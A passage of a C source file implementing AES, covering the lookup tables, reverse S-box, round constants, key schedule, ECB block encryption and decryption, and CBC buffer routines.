249 | V(E0,70,70,90), V(7C,3E,3E,42), V(71,B5,B5,C4), V(CC,66,66,AA), \
250 | V(90,48,48,D8), V(06,03,03,05), V(F7,F6,F6,01), V(1C,0E,0E,12), \
251 | V(C2,61,61,A3), V(6A,35,35,5F), V(AE,57,57,F9), V(69,B9,B9,D0), \
252 | V(17,86,86,91), V(99,C1,C1,58), V(3A,1D,1D,27), V(27,9E,9E,B9), \
253 | V(D9,E1,E1,38), V(EB,F8,F8,13), V(2B,98,98,B3), V(22,11,11,33), \
254 | V(D2,69,69,BB), V(A9,D9,D9,70), V(07,8E,8E,89), V(33,94,94,A7), \
255 | V(2D,9B,9B,B6), V(3C,1E,1E,22), V(15,87,87,92), V(C9,E9,E9,20), \
256 | V(87,CE,CE,49), V(AA,55,55,FF), V(50,28,28,78), V(A5,DF,DF,7A), \
257 | V(03,8C,8C,8F), V(59,A1,A1,F8), V(09,89,89,80), V(1A,0D,0D,17), \
258 | V(65,BF,BF,DA), V(D7,E6,E6,31), V(84,42,42,C6), V(D0,68,68,B8), \
259 | V(82,41,41,C3), V(29,99,99,B0), V(5A,2D,2D,77), V(1E,0F,0F,11), \
260 | V(7B,B0,B0,CB), V(A8,54,54,FC), V(6D,BB,BB,D6), V(2C,16,16,3A)
261 |
262 | #define V(a,b,c,d) 0x##a##b##c##d
263 | static const uint32 FT0[256] = { FT };
264 | #undef V
265 |
266 | #define V(a,b,c,d) 0x##d##a##b##c
267 | static const uint32 FT1[256] = { FT };
268 | #undef V
269 |
270 | #define V(a,b,c,d) 0x##c##d##a##b
271 | static const uint32 FT2[256] = { FT };
272 | #undef V
273 |
274 | #define V(a,b,c,d) 0x##b##c##d##a
275 | static const uint32 FT3[256] = { FT };
276 | #undef V
277 |
278 | #undef FT
279 |
280 | /*
281 | * Reverse S-box
282 | */
283 | static const uint8 RSb[256] =
284 | {
285 | 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38,
286 | 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
287 | 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87,
288 | 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
289 | 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D,
290 | 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
291 | 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2,
292 | 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
293 | 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16,
294 | 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
295 | 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA,
296 | 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
297 | 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A,
298 | 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
299 | 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02,
300 | 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
301 | 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA,
302 | 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
303 | 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85,
304 | 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
305 | 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89,
306 | 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
307 | 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20,
308 | 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
309 | 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31,
310 | 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
311 | 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D,
312 | 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
313 | 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0,
314 | 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
315 | 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26,
316 | 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D
317 | };
318 |
319 | /*
320 | * Reverse tables
321 | */
322 | #define RT \
323 | \
324 | V(51,F4,A7,50), V(7E,41,65,53), V(1A,17,A4,C3), V(3A,27,5E,96), \
325 | V(3B,AB,6B,CB), V(1F,9D,45,F1), V(AC,FA,58,AB), V(4B,E3,03,93), \
326 | V(20,30,FA,55), V(AD,76,6D,F6), V(88,CC,76,91), V(F5,02,4C,25), \
327 | V(4F,E5,D7,FC), V(C5,2A,CB,D7), V(26,35,44,80), V(B5,62,A3,8F), \
328 | V(DE,B1,5A,49), V(25,BA,1B,67), V(45,EA,0E,98), V(5D,FE,C0,E1), \
329 | V(C3,2F,75,02), V(81,4C,F0,12), V(8D,46,97,A3), V(6B,D3,F9,C6), \
330 | V(03,8F,5F,E7), V(15,92,9C,95), V(BF,6D,7A,EB), V(95,52,59,DA), \
331 | V(D4,BE,83,2D), V(58,74,21,D3), V(49,E0,69,29), V(8E,C9,C8,44), \
332 | V(75,C2,89,6A), V(F4,8E,79,78), V(99,58,3E,6B), V(27,B9,71,DD), \
333 | V(BE,E1,4F,B6), V(F0,88,AD,17), V(C9,20,AC,66), V(7D,CE,3A,B4), \
334 | V(63,DF,4A,18), V(E5,1A,31,82), V(97,51,33,60), V(62,53,7F,45), \
335 | V(B1,64,77,E0), V(BB,6B,AE,84), V(FE,81,A0,1C), V(F9,08,2B,94), \
336 | V(70,48,68,58), V(8F,45,FD,19), V(94,DE,6C,87), V(52,7B,F8,B7), \
337 | V(AB,73,D3,23), V(72,4B,02,E2), V(E3,1F,8F,57), V(66,55,AB,2A), \
338 | V(B2,EB,28,07), V(2F,B5,C2,03), V(86,C5,7B,9A), V(D3,37,08,A5), \
339 | V(30,28,87,F2), V(23,BF,A5,B2), V(02,03,6A,BA), V(ED,16,82,5C), \
340 | V(8A,CF,1C,2B), V(A7,79,B4,92), V(F3,07,F2,F0), V(4E,69,E2,A1), \
341 | V(65,DA,F4,CD), V(06,05,BE,D5), V(D1,34,62,1F), V(C4,A6,FE,8A), \
342 | V(34,2E,53,9D), V(A2,F3,55,A0), V(05,8A,E1,32), V(A4,F6,EB,75), \
343 | V(0B,83,EC,39), V(40,60,EF,AA), V(5E,71,9F,06), V(BD,6E,10,51), \
344 | V(3E,21,8A,F9), V(96,DD,06,3D), V(DD,3E,05,AE), V(4D,E6,BD,46), \
345 | V(91,54,8D,B5), V(71,C4,5D,05), V(04,06,D4,6F), V(60,50,15,FF), \
346 | V(19,98,FB,24), V(D6,BD,E9,97), V(89,40,43,CC), V(67,D9,9E,77), \
347 | V(B0,E8,42,BD), V(07,89,8B,88), V(E7,19,5B,38), V(79,C8,EE,DB), \
348 | V(A1,7C,0A,47), V(7C,42,0F,E9), V(F8,84,1E,C9), V(00,00,00,00), \
349 | V(09,80,86,83), V(32,2B,ED,48), V(1E,11,70,AC), V(6C,5A,72,4E), \
350 | V(FD,0E,FF,FB), V(0F,85,38,56), V(3D,AE,D5,1E), V(36,2D,39,27), \
351 | V(0A,0F,D9,64), V(68,5C,A6,21), V(9B,5B,54,D1), V(24,36,2E,3A), \
352 | V(0C,0A,67,B1), V(93,57,E7,0F), V(B4,EE,96,D2), V(1B,9B,91,9E), \
353 | V(80,C0,C5,4F), V(61,DC,20,A2), V(5A,77,4B,69), V(1C,12,1A,16), \
354 | V(E2,93,BA,0A), V(C0,A0,2A,E5), V(3C,22,E0,43), V(12,1B,17,1D), \
355 | V(0E,09,0D,0B), V(F2,8B,C7,AD), V(2D,B6,A8,B9), V(14,1E,A9,C8), \
356 | V(57,F1,19,85), V(AF,75,07,4C), V(EE,99,DD,BB), V(A3,7F,60,FD), \
357 | V(F7,01,26,9F), V(5C,72,F5,BC), V(44,66,3B,C5), V(5B,FB,7E,34), \
358 | V(8B,43,29,76), V(CB,23,C6,DC), V(B6,ED,FC,68), V(B8,E4,F1,63), \
359 | V(D7,31,DC,CA), V(42,63,85,10), V(13,97,22,40), V(84,C6,11,20), \
360 | V(85,4A,24,7D), V(D2,BB,3D,F8), V(AE,F9,32,11), V(C7,29,A1,6D), \
361 | V(1D,9E,2F,4B), V(DC,B2,30,F3), V(0D,86,52,EC), V(77,C1,E3,D0), \
362 | V(2B,B3,16,6C), V(A9,70,B9,99), V(11,94,48,FA), V(47,E9,64,22), \
363 | V(A8,FC,8C,C4), V(A0,F0,3F,1A), V(56,7D,2C,D8), V(22,33,90,EF), \
364 | V(87,49,4E,C7), V(D9,38,D1,C1), V(8C,CA,A2,FE), V(98,D4,0B,36), \
365 | V(A6,F5,81,CF), V(A5,7A,DE,28), V(DA,B7,8E,26), V(3F,AD,BF,A4), \
366 | V(2C,3A,9D,E4), V(50,78,92,0D), V(6A,5F,CC,9B), V(54,7E,46,62), \
367 | V(F6,8D,13,C2), V(90,D8,B8,E8), V(2E,39,F7,5E), V(82,C3,AF,F5), \
368 | V(9F,5D,80,BE), V(69,D0,93,7C), V(6F,D5,2D,A9), V(CF,25,12,B3), \
369 | V(C8,AC,99,3B), V(10,18,7D,A7), V(E8,9C,63,6E), V(DB,3B,BB,7B), \
370 | V(CD,26,78,09), V(6E,59,18,F4), V(EC,9A,B7,01), V(83,4F,9A,A8), \
371 | V(E6,95,6E,65), V(AA,FF,E6,7E), V(21,BC,CF,08), V(EF,15,E8,E6), \
372 | V(BA,E7,9B,D9), V(4A,6F,36,CE), V(EA,9F,09,D4), V(29,B0,7C,D6), \
373 | V(31,A4,B2,AF), V(2A,3F,23,31), V(C6,A5,94,30), V(35,A2,66,C0), \
374 | V(74,4E,BC,37), V(FC,82,CA,A6), V(E0,90,D0,B0), V(33,A7,D8,15), \
375 | V(F1,04,98,4A), V(41,EC,DA,F7), V(7F,CD,50,0E), V(17,91,F6,2F), \
376 | V(76,4D,D6,8D), V(43,EF,B0,4D), V(CC,AA,4D,54), V(E4,96,04,DF), \
377 | V(9E,D1,B5,E3), V(4C,6A,88,1B), V(C1,2C,1F,B8), V(46,65,51,7F), \
378 | V(9D,5E,EA,04), V(01,8C,35,5D), V(FA,87,74,73), V(FB,0B,41,2E), \
379 | V(B3,67,1D,5A), V(92,DB,D2,52), V(E9,10,56,33), V(6D,D6,47,13), \
380 | V(9A,D7,61,8C), V(37,A1,0C,7A), V(59,F8,14,8E), V(EB,13,3C,89), \
381 | V(CE,A9,27,EE), V(B7,61,C9,35), V(E1,1C,E5,ED), V(7A,47,B1,3C), \
382 | V(9C,D2,DF,59), V(55,F2,73,3F), V(18,14,CE,79), V(73,C7,37,BF), \
383 | V(53,F7,CD,EA), V(5F,FD,AA,5B), V(DF,3D,6F,14), V(78,44,DB,86), \
384 | V(CA,AF,F3,81), V(B9,68,C4,3E), V(38,24,34,2C), V(C2,A3,40,5F), \
385 | V(16,1D,C3,72), V(BC,E2,25,0C), V(28,3C,49,8B), V(FF,0D,95,41), \
386 | V(39,A8,01,71), V(08,0C,B3,DE), V(D8,B4,E4,9C), V(64,56,C1,90), \
387 | V(7B,CB,84,61), V(D5,32,B6,70), V(48,6C,5C,74), V(D0,B8,57,42)
388 |
389 | #define V(a,b,c,d) 0x##a##b##c##d
390 | static const uint32 RT0[256] = { RT };
391 | #undef V
392 |
393 | #define V(a,b,c,d) 0x##d##a##b##c
394 | static const uint32 RT1[256] = { RT };
395 | #undef V
396 |
397 | #define V(a,b,c,d) 0x##c##d##a##b
398 | static const uint32 RT2[256] = { RT };
399 | #undef V
400 |
401 | #define V(a,b,c,d) 0x##b##c##d##a
402 | static const uint32 RT3[256] = { RT };
403 | #undef V
404 |
405 | #undef RT
406 |
407 | /*
408 | * Round constants
409 | */
410 | static const uint32 RCON[10] =
411 | {
412 | 0x01000000, 0x02000000, 0x04000000, 0x08000000,
413 | 0x10000000, 0x20000000, 0x40000000, 0x80000000,
414 | 0x1B000000, 0x36000000
415 | };
416 |
417 | static void aes_gen_tables( void ) {}
418 |
419 | #endif
420 |
421 | /*
422 | * Decryption key schedule tables
423 | */
424 | static uint32 KT0[256];
425 | static uint32 KT1[256];
426 | static uint32 KT2[256];
427 | static uint32 KT3[256];
428 |
429 | /*
430 | * AES key schedule
431 | */
432 | void aes_set_key( aes_context *ctx, uint8 *key, int keysize )
433 | {
434 | int i;
435 | uint32 *RK, *SK;
436 | static int ft_init = 0;
437 | static int kt_init = 0;
438 |
439 | if( ft_init == 0 )
440 | {
441 | aes_gen_tables();
442 |
443 | ft_init = 1;
444 | }
445 |
446 | switch( keysize )
447 | {
448 | case 128: ctx->nr = 10; break;
449 | case 192: ctx->nr = 12; break;
450 | case 256: ctx->nr = 14; break;
451 | default : return;
452 | }
453 |
454 | RK = ctx->erk;
455 |
456 | for( i = 0; i < (keysize >> 5); i++ )
457 | {
458 | GET_UINT32_BE( RK[i], key, i << 2 );
459 | }
460 |
461 | /*
462 | * setup encryption round keys
463 | */
464 | switch( ctx->nr )
465 | {
466 | case 10:
467 |
468 | for( i = 0; i < 10; i++, RK += 4 )
469 | {
470 | RK[4] = RK[0] ^ RCON[i] ^
471 | ( FSb[ (uint8) ( RK[3] >> 16 ) ] << 24 ) ^
472 | ( FSb[ (uint8) ( RK[3] >> 8 ) ] << 16 ) ^
473 | ( FSb[ (uint8) ( RK[3] ) ] << 8 ) ^
474 | ( FSb[ (uint8) ( RK[3] >> 24 ) ] );
475 |
476 | RK[5] = RK[1] ^ RK[4];
477 | RK[6] = RK[2] ^ RK[5];
478 | RK[7] = RK[3] ^ RK[6];
479 | }
480 | break;
481 |
482 | case 12:
483 |
484 | for( i = 0; i < 8; i++, RK += 6 )
485 | {
486 | RK[6] = RK[0] ^ RCON[i] ^
487 | ( FSb[ (uint8) ( RK[5] >> 16 ) ] << 24 ) ^
488 | ( FSb[ (uint8) ( RK[5] >> 8 ) ] << 16 ) ^
489 | ( FSb[ (uint8) ( RK[5] ) ] << 8 ) ^
490 | ( FSb[ (uint8) ( RK[5] >> 24 ) ] );
491 |
492 | RK[7] = RK[1] ^ RK[6];
493 | RK[8] = RK[2] ^ RK[7];
494 | RK[9] = RK[3] ^ RK[8];
495 | RK[10] = RK[4] ^ RK[9];
496 | RK[11] = RK[5] ^ RK[10];
497 | }
498 | break;
499 |
500 | case 14:
501 |
502 | for( i = 0; i < 7; i++, RK += 8 )
503 | {
504 | RK[8] = RK[0] ^ RCON[i] ^
505 | ( FSb[ (uint8) ( RK[7] >> 16 ) ] << 24 ) ^
506 | ( FSb[ (uint8) ( RK[7] >> 8 ) ] << 16 ) ^
507 | ( FSb[ (uint8) ( RK[7] ) ] << 8 ) ^
508 | ( FSb[ (uint8) ( RK[7] >> 24 ) ] );
509 |
510 | RK[9] = RK[1] ^ RK[8];
511 | RK[10] = RK[2] ^ RK[9];
512 | RK[11] = RK[3] ^ RK[10];
513 |
514 | RK[12] = RK[4] ^
515 | ( FSb[ (uint8) ( RK[11] >> 24 ) ] << 24 ) ^
516 | ( FSb[ (uint8) ( RK[11] >> 16 ) ] << 16 ) ^
517 | ( FSb[ (uint8) ( RK[11] >> 8 ) ] << 8 ) ^
518 | ( FSb[ (uint8) ( RK[11] ) ] );
519 |
520 | RK[13] = RK[5] ^ RK[12];
521 | RK[14] = RK[6] ^ RK[13];
522 | RK[15] = RK[7] ^ RK[14];
523 | }
524 | break;
525 |
526 | default:
527 |
528 | break;
529 | }
530 |
531 | /*
532 | * setup decryption round keys
533 | */
534 | if( kt_init == 0 )
535 | {
536 | for( i = 0; i < 256; i++ )
537 | {
538 | KT0[i] = RT0[ FSb[i] ];
539 | KT1[i] = RT1[ FSb[i] ];
540 | KT2[i] = RT2[ FSb[i] ];
541 | KT3[i] = RT3[ FSb[i] ];
542 | }
543 |
544 | kt_init = 1;
545 | }
546 |
547 | SK = ctx->drk;
548 |
549 | *SK++ = *RK++;
550 | *SK++ = *RK++;
551 | *SK++ = *RK++;
552 | *SK++ = *RK++;
553 |
554 | for( i = 1; i < ctx->nr; i++ )
555 | {
556 | RK -= 8;
557 |
558 | *SK++ = KT0[ (uint8) ( *RK >> 24 ) ] ^
559 | KT1[ (uint8) ( *RK >> 16 ) ] ^
560 | KT2[ (uint8) ( *RK >> 8 ) ] ^
561 | KT3[ (uint8) ( *RK ) ]; RK++;
562 |
563 | *SK++ = KT0[ (uint8) ( *RK >> 24 ) ] ^
564 | KT1[ (uint8) ( *RK >> 16 ) ] ^
565 | KT2[ (uint8) ( *RK >> 8 ) ] ^
566 | KT3[ (uint8) ( *RK ) ]; RK++;
567 |
568 | *SK++ = KT0[ (uint8) ( *RK >> 24 ) ] ^
569 | KT1[ (uint8) ( *RK >> 16 ) ] ^
570 | KT2[ (uint8) ( *RK >> 8 ) ] ^
571 | KT3[ (uint8) ( *RK ) ]; RK++;
572 |
573 | *SK++ = KT0[ (uint8) ( *RK >> 24 ) ] ^
574 | KT1[ (uint8) ( *RK >> 16 ) ] ^
575 | KT2[ (uint8) ( *RK >> 8 ) ] ^
576 | KT3[ (uint8) ( *RK ) ]; RK++;
577 | }
578 |
579 | RK -= 8;
580 |
581 | *SK++ = *RK++;
582 | *SK++ = *RK++;
583 | *SK++ = *RK++;
584 | *SK++ = *RK++;
585 | }
586 |
587 | /**
588 | * AES block encryption (ECB mode)
589 | */
590 | void aes_encrypt( aes_context *ctx,
591 | unsigned char input[16],
592 | unsigned char output[16] )
593 | {
594 | uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3;
595 |
596 | RK = ctx->erk;
597 |
598 | GET_UINT32_BE( X0, input, 0 ); X0 ^= RK[0];
599 | GET_UINT32_BE( X1, input, 4 ); X1 ^= RK[1];
600 | GET_UINT32_BE( X2, input, 8 ); X2 ^= RK[2];
601 | GET_UINT32_BE( X3, input, 12 ); X3 ^= RK[3];
602 |
603 | #define AES_FROUND(X0,X1,X2,X3,Y0,Y1,Y2,Y3) \
604 | { \
605 | RK += 4; \
606 | \
607 | X0 = RK[0] ^ FT0[ (uint8) ( Y0 >> 24 ) ] ^ \
608 | FT1[ (uint8) ( Y1 >> 16 ) ] ^ \
609 | FT2[ (uint8) ( Y2 >> 8 ) ] ^ \
610 | FT3[ (uint8) ( Y3 ) ]; \
611 | \
612 | X1 = RK[1] ^ FT0[ (uint8) ( Y1 >> 24 ) ] ^ \
613 | FT1[ (uint8) ( Y2 >> 16 ) ] ^ \
614 | FT2[ (uint8) ( Y3 >> 8 ) ] ^ \
615 | FT3[ (uint8) ( Y0 ) ]; \
616 | \
617 | X2 = RK[2] ^ FT0[ (uint8) ( Y2 >> 24 ) ] ^ \
618 | FT1[ (uint8) ( Y3 >> 16 ) ] ^ \
619 | FT2[ (uint8) ( Y0 >> 8 ) ] ^ \
620 | FT3[ (uint8) ( Y1 ) ]; \
621 | \
622 | X3 = RK[3] ^ FT0[ (uint8) ( Y3 >> 24 ) ] ^ \
623 | FT1[ (uint8) ( Y0 >> 16 ) ] ^ \
624 | FT2[ (uint8) ( Y1 >> 8 ) ] ^ \
625 | FT3[ (uint8) ( Y2 ) ]; \
626 | }
627 |
628 | AES_FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
629 | AES_FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
630 | AES_FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
631 | AES_FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
632 | AES_FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
633 | AES_FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
634 | AES_FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
635 | AES_FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
636 | AES_FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
637 |
638 | if( ctx->nr > 10 )
639 | {
640 | AES_FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
641 | AES_FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
642 | }
643 |
644 | if( ctx->nr > 12 )
645 | {
646 | AES_FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
647 | AES_FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
648 | }
649 |
650 | RK += 4;
651 |
652 | X0 = RK[0] ^ ( FSb[ (uint8) ( Y0 >> 24 ) ] << 24 ) ^
653 | ( FSb[ (uint8) ( Y1 >> 16 ) ] << 16 ) ^
654 | ( FSb[ (uint8) ( Y2 >> 8 ) ] << 8 ) ^
655 | ( FSb[ (uint8) ( Y3 ) ] );
656 |
657 | X1 = RK[1] ^ ( FSb[ (uint8) ( Y1 >> 24 ) ] << 24 ) ^
658 | ( FSb[ (uint8) ( Y2 >> 16 ) ] << 16 ) ^
659 | ( FSb[ (uint8) ( Y3 >> 8 ) ] << 8 ) ^
660 | ( FSb[ (uint8) ( Y0 ) ] );
661 |
662 | X2 = RK[2] ^ ( FSb[ (uint8) ( Y2 >> 24 ) ] << 24 ) ^
663 | ( FSb[ (uint8) ( Y3 >> 16 ) ] << 16 ) ^
664 | ( FSb[ (uint8) ( Y0 >> 8 ) ] << 8 ) ^
665 | ( FSb[ (uint8) ( Y1 ) ] );
666 |
667 | X3 = RK[3] ^ ( FSb[ (uint8) ( Y3 >> 24 ) ] << 24 ) ^
668 | ( FSb[ (uint8) ( Y0 >> 16 ) ] << 16 ) ^
669 | ( FSb[ (uint8) ( Y1 >> 8 ) ] << 8 ) ^
670 | ( FSb[ (uint8) ( Y2 ) ] );
671 |
672 | PUT_UINT32_BE( X0, output, 0 );
673 | PUT_UINT32_BE( X1, output, 4 );
674 | PUT_UINT32_BE( X2, output, 8 );
675 | PUT_UINT32_BE( X3, output, 12 );
676 | }
677 |
678 | /*
679 | * AES block decryption (ECB mode)
680 | */
681 | void aes_decrypt( aes_context *ctx,
682 | unsigned char input[16],
683 | unsigned char output[16] )
684 | {
685 | uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3;
686 |
687 | RK = ctx->drk;
688 |
689 | GET_UINT32_BE( X0, input, 0 ); X0 ^= RK[0];
690 | GET_UINT32_BE( X1, input, 4 ); X1 ^= RK[1];
691 | GET_UINT32_BE( X2, input, 8 ); X2 ^= RK[2];
692 | GET_UINT32_BE( X3, input, 12 ); X3 ^= RK[3];
693 |
694 | #define AES_RROUND(X0,X1,X2,X3,Y0,Y1,Y2,Y3) \
695 | { \
696 | RK += 4; \
697 | \
698 | X0 = RK[0] ^ RT0[ (uint8) ( Y0 >> 24 ) ] ^ \
699 | RT1[ (uint8) ( Y3 >> 16 ) ] ^ \
700 | RT2[ (uint8) ( Y2 >> 8 ) ] ^ \
701 | RT3[ (uint8) ( Y1 ) ]; \
702 | \
703 | X1 = RK[1] ^ RT0[ (uint8) ( Y1 >> 24 ) ] ^ \
704 | RT1[ (uint8) ( Y0 >> 16 ) ] ^ \
705 | RT2[ (uint8) ( Y3 >> 8 ) ] ^ \
706 | RT3[ (uint8) ( Y2 ) ]; \
707 | \
708 | X2 = RK[2] ^ RT0[ (uint8) ( Y2 >> 24 ) ] ^ \
709 | RT1[ (uint8) ( Y1 >> 16 ) ] ^ \
710 | RT2[ (uint8) ( Y0 >> 8 ) ] ^ \
711 | RT3[ (uint8) ( Y3 ) ]; \
712 | \
713 | X3 = RK[3] ^ RT0[ (uint8) ( Y3 >> 24 ) ] ^ \
714 | RT1[ (uint8) ( Y2 >> 16 ) ] ^ \
715 | RT2[ (uint8) ( Y1 >> 8 ) ] ^ \
716 | RT3[ (uint8) ( Y0 ) ]; \
717 | }
718 |
719 | AES_RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
720 | AES_RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
721 | AES_RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
722 | AES_RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
723 | AES_RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
724 | AES_RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
725 | AES_RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
726 | AES_RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
727 | AES_RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
728 |
729 | if( ctx->nr > 10 )
730 | {
731 | AES_RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
732 | AES_RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
733 | }
734 |
735 | if( ctx->nr > 12 )
736 | {
737 | AES_RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 );
738 | AES_RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 );
739 | }
740 |
741 | RK += 4;
742 |
743 | X0 = RK[0] ^ ( RSb[ (uint8) ( Y0 >> 24 ) ] << 24 ) ^
744 | ( RSb[ (uint8) ( Y3 >> 16 ) ] << 16 ) ^
745 | ( RSb[ (uint8) ( Y2 >> 8 ) ] << 8 ) ^
746 | ( RSb[ (uint8) ( Y1 ) ] );
747 |
748 | X1 = RK[1] ^ ( RSb[ (uint8) ( Y1 >> 24 ) ] << 24 ) ^
749 | ( RSb[ (uint8) ( Y0 >> 16 ) ] << 16 ) ^
750 | ( RSb[ (uint8) ( Y3 >> 8 ) ] << 8 ) ^
751 | ( RSb[ (uint8) ( Y2 ) ] );
752 |
753 | X2 = RK[2] ^ ( RSb[ (uint8) ( Y2 >> 24 ) ] << 24 ) ^
754 | ( RSb[ (uint8) ( Y1 >> 16 ) ] << 16 ) ^
755 | ( RSb[ (uint8) ( Y0 >> 8 ) ] << 8 ) ^
756 | ( RSb[ (uint8) ( Y3 ) ] );
757 |
758 | X3 = RK[3] ^ ( RSb[ (uint8) ( Y3 >> 24 ) ] << 24 ) ^
759 | ( RSb[ (uint8) ( Y2 >> 16 ) ] << 16 ) ^
760 | ( RSb[ (uint8) ( Y1 >> 8 ) ] << 8 ) ^
761 | ( RSb[ (uint8) ( Y0 ) ] );
762 |
763 | PUT_UINT32_BE( X0, output, 0 );
764 | PUT_UINT32_BE( X1, output, 4 );
765 | PUT_UINT32_BE( X2, output, 8 );
766 | PUT_UINT32_BE( X3, output, 12 );
767 | }
768 |
769 |
770 | /*
771 | * AES-CBC buffer encryption
772 | */
773 | void aes_cbc_encrypt( aes_context *ctx,
774 | unsigned char iv[16],
775 | unsigned char *input,
776 | unsigned char *output,
777 | int len )
778 | {
779 | int i;
780 |
781 | while( len > 0 )
782 | {
783 | for( i = 0; i < 16; i++ )
784 | output[i] = input[i] ^ iv[i];
785 |
786 | aes_encrypt( ctx, output, output );
787 | memcpy( iv, output, 16 );
788 |
789 | input += 16;
790 | output += 16;
791 | len -= 16;
792 | }
793 | }
794 |
795 | /*
796 | * AES-CBC buffer decryption
797 | */
798 | void aes_cbc_decrypt( aes_context *ctx,
799 | unsigned char iv[16],
800 | unsigned char *input,
801 | unsigned char *output,
802 | int len )
803 | {
804 | int i;
805 | unsigned char temp[16];
806 |
807 | while( len >= 16 )
808 | {
809 | memcpy( temp, input, 16 );
810 | aes_decrypt( ctx, input, output );
811 |
812 | for( i = 0; i < 16; i++ )
813 | output[i] = output[i] ^ iv[i];
814 |
815 | memcpy( iv, temp, 16 );
816 |
817 | input += 16;
818 | output += 16;
819 | len -= 16;
820 | }
821 | }
822 |
823 |
--------------------------------------------------------------------------------